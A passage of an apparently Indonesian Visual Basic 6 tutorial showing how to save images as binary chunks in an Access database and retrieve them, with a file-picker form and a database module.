Dim Atur As Long
Dim Ukuran As Long
Dim AlamatGambar As String
Dim Kode_Gambar As Integer
Dim Pusat_Gambar1() As Byte
Dim Pusat_Gambar5 As Integer
Dim Shadow_Angel As Integer
Dim Pusat_Gambar2 As Long
Dim Kode_Kunci As Long
Dim ShadowAngel_SQL As String
On Error GoTo TambahGambarShadow
FormCariGambar.Show vbModal
If NamaFile <> "" Then
Kode_Kunci = InputBox("Masuk..kan Kode Gambar... (Nomor)")
If Kode_Kunci > 0 Then
ShadowAngel_SQL = "select * from Gambar"
ShadowAngel_SQL = ShadowAngel_SQL & " where KataKunci=" & Kode_Kunci
Set Penyesuaian_Gambar = DataBase_ShadowAngel.OpenRecordset(ShadowAngel_SQL, dbOpenDynaset)
If Not Penyesuaian_Gambar.EOF Then
MsgBox "Kode Gambar,sudah ada di DataBase.Cari yang laen_nya..."
GoTo TambahGambarAngel
End If
Set Picture1.Picture = LoadPicture(NamaFile)
Set Penyesuaian_Gambar = DataBase_ShadowAngel.OpenRecordset("Gambar", dbOpenDynaset)
Kode_Gambar = FreeFile
Open NamaFile For Binary Access Read As Kode_Gambar
Ukuran = LOF(Kode_Gambar)
If Kode_Gambar = 0 Then
Close Kode_Gambar
End If
Pusat_Gambar2 = Ukuran \ UkuranGambar
Pusat_Gambar5 = Ukuran Mod UkuranGambar
Penyesuaian_Gambar.AddNew
Penyesuaian_Gambar("Alamat") = NamaFile
Penyesuaian_Gambar("KataKunci") = Kode_Kunci
ReDim Pusat_Gambar1(Pusat_Gambar5)
Get Kode_Gambar, , Pusat_Gambar1()
Penyesuaian_Gambar("DataGambar").AppendChunk Pusat_Gambar1()
ReDim Pusat_Gambar1(UkuranGambar)
Atur = Pusat_Gambar5
For Shadow_Angel = 1 To Pusat_Gambar2
Get Kode_Gambar, , Pusat_Gambar1()
Penyesuaian_Gambar("DataGambar").AppendChunk Pusat_Gambar1()
Atur = Atur + UkuranGambar
DoEvents
Next
Penyesuaian_Gambar.Update
End If
End If
TambahGambarAngel:
Exit Sub
TambahGambarShadow:
#If Melati Then
Stop
Resume
#End If
Resume TambahGambarAngel
End Sub

Private Sub AmbilGambar_Click()
Dim ShadowAngel_SQL As String
Dim Kode_Kunci As Long
Dim Penyesuaian_Gambar As Recordset
Dim Ukuran As Long
Dim Pusat_Gambar3() As Byte
Dim Atur As Long
Dim AlamatGambar As String
Dim Kode_Gambar As Integer
Dim Pusat_Gambar4 As Integer
Dim Pusat_Gambar5 As Integer
Dim Shadow_Angel As Integer
Dim Tempat_File_Berkas As String
On Error GoTo AmbilGambar_Shadow
Kode_Kunci = InputBox("Masuk..kan Kode Gambar..nya")
If Kode_Kunci > 0 Then
ShadowAngel_SQL = "select * from Gambar"
ShadowAngel_SQL = ShadowAngel_SQL & " where KataKunci=" & Kode_Kunci
Set Penyesuaian_Gambar = DataBase_ShadowAngel.OpenRecordset(ShadowAngel_SQL, dbOpenDynaset)
Screen.MousePointer = vbHourglass
If Not Penyesuaian_Gambar.EOF Then
Kode_Gambar = FreeFile
AlamatGambar = App.Path
Tempat_File_Berkas = AlamatGambar & "\Penyimpanan Data Gambar.bin"
Open Tempat_File_Berkas For Binary Access Write As Kode_Gambar
Ukuran = Penyesuaian_Gambar("DataGambar").FieldSize
Pusat_Gambar4 = Ukuran \ UkuranGambar
Pusat_Gambar5 = Ukuran Mod UkuranGambar
ReDim Buffer(Pusat_Gambar5) As Byte
Pusat_Gambar3() = Penyesuaian_Gambar("DataGambar").GetChunk(Atur, Pusat_Gambar5)
Put Kode_Gambar, , Pusat_Gambar3()
Atur = Pusat_Gambar5
For Shadow_Angel = 1 To Pusat_Gambar4
ReDim Pusat_Gambar3(UkuranGambar) As Byte
Pusat_Gambar3() = Penyesuaian_Gambar("DataGambar").GetChunk(Atur, UkuranGambar)
Put Kode_Gambar, , Pusat_Gambar3()
Atur = Atur + UkuranGambar
DoEvents
Next
End If
Close Kode_Gambar
Set Picture1.Picture = LoadPicture(Tempat_File_Berkas, , vbLPColor)
End If
AmbilGambar_Angel:
Screen.MousePointer = vbDefault
Exit Sub
AmbilGambar_Shadow:
#If Melati Then
Stop
Resume
#End If
Resume AmbilGambar_Angel
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If Not DataBase_ShadowAngel Is Nothing Then
DataBase_ShadowAngel.Close
End If
Set DataBase_ShadowAngel = Nothing
End Sub



Oke.. Kita langsung aja.. ke Form Cari Gambar

Form Cari Gambar

Form

Name : FormCariGambar
BoderStyle : Fixed ToolWindow
Caption : Cari - > Gambar / Icon...
StartUpPositon : CenterScreen

Label

Name : Label1,Label2,Label3,
Label4,Label5

Caption rive,Alamat,Direktori,
File/Berkas,Create By Shadow Angel

DriveListBox :

Name : Drive1
BackColor : &H00C0FFC0&

TextBox :
Name : AlamatGambar
BackColor : &H00C0FFC0&
DataFormat : General

DirListBox :
Name : Dir1
BackColor : &H00C0FFC0&

FileListBox :
Name : File1
BackColor : &H00C0FFC0&

CommandButton :
Name : Oke, Batal
Caption : Oke... , Batal
Kalo Sudah masuk_kan Coding dibawah ini pada Form Cari Gambar :
Ini Coding..nya :


Code:
Option Explicit
Dim Sesuaikan_Gambar As Boolean

Private Sub Command1_Click()
Unload Me
End Sub

Private Sub Batal_Click()
NamaFile = ""
Unload Me
End Sub

Private Sub Oke_Click()
NamaFile = AlamatGambar
Unload Me
End Sub

Private Sub Dir1_Change()
On Error GoTo Salah_Direktori
AlamatGambar = Dir1.Path
File1.Path = Dir1.Path
If Sesuaikan_Gambar = False Then
Alamat_Lengkap = File1.Path
End If
Ganti_Direktori:
Exit Sub
Salah_Direktori:
#If Melati Then
Stop
Resume
#End If
Resume Ganti_Direktori
End Sub

Private Sub Drive1_Change()
On Error GoTo Salah_Drive
Dir1.Path = Drive1.Drive
NamaDrive = Drive1.Drive
Ganti_Drive:
Exit Sub
Salah_Drive:
#If Melati Then
Stop
Resume
#End If
Resume Ganti_Drive
End Sub

Private Sub File1_Click()
On Error GoTo Salah_File
AlamatGambar = File1.Path + "\" + File1.FileName
Ganti_File:
Exit Sub
Salah_File:
#If Melati Then
Stop
Resume
#End If
Resume Ganti_File
End Sub

Private Sub Form_Load()
Sesuaikan_Gambar = True
If NamaDrive <> "" Then
Drive1.Drive = NamaDrive
Dir1.Path = Drive1.Drive
End If
If Alamat_Lengkap <> "" Then
Dir1.Path = Alamat_Lengkap
File1.Path = Dir1.Path
End If
Sesuaikan_Gambar = False
End Sub



Lanjut..kan dengan membuatModule pada Form anda,

Lalu masuk..kan Coding dibawah ini pada Module tersebut :

Ini Coding Module_nya :


Code:
Option Explicit
Public DataBase_ShadowAngel As Database
Public NamaFile As String
Public NamaDrive As String
Public Alamat_Lengkap As String
Public PesanSalah As String

Sub main()
On Error GoTo Mawar
Dim AlamatGambar As String
AlamatGambar = App.Path
Set DataBase_ShadowAngel = OpenDatabase(AlamatGambar & "\Tempat Gambar.mdb", False)
FormGambar.Show
Mawar_2:
Exit Sub
Mawar:
#If Melati Then
Stop
Resume
#End If
Resume Mawar_2
End Sub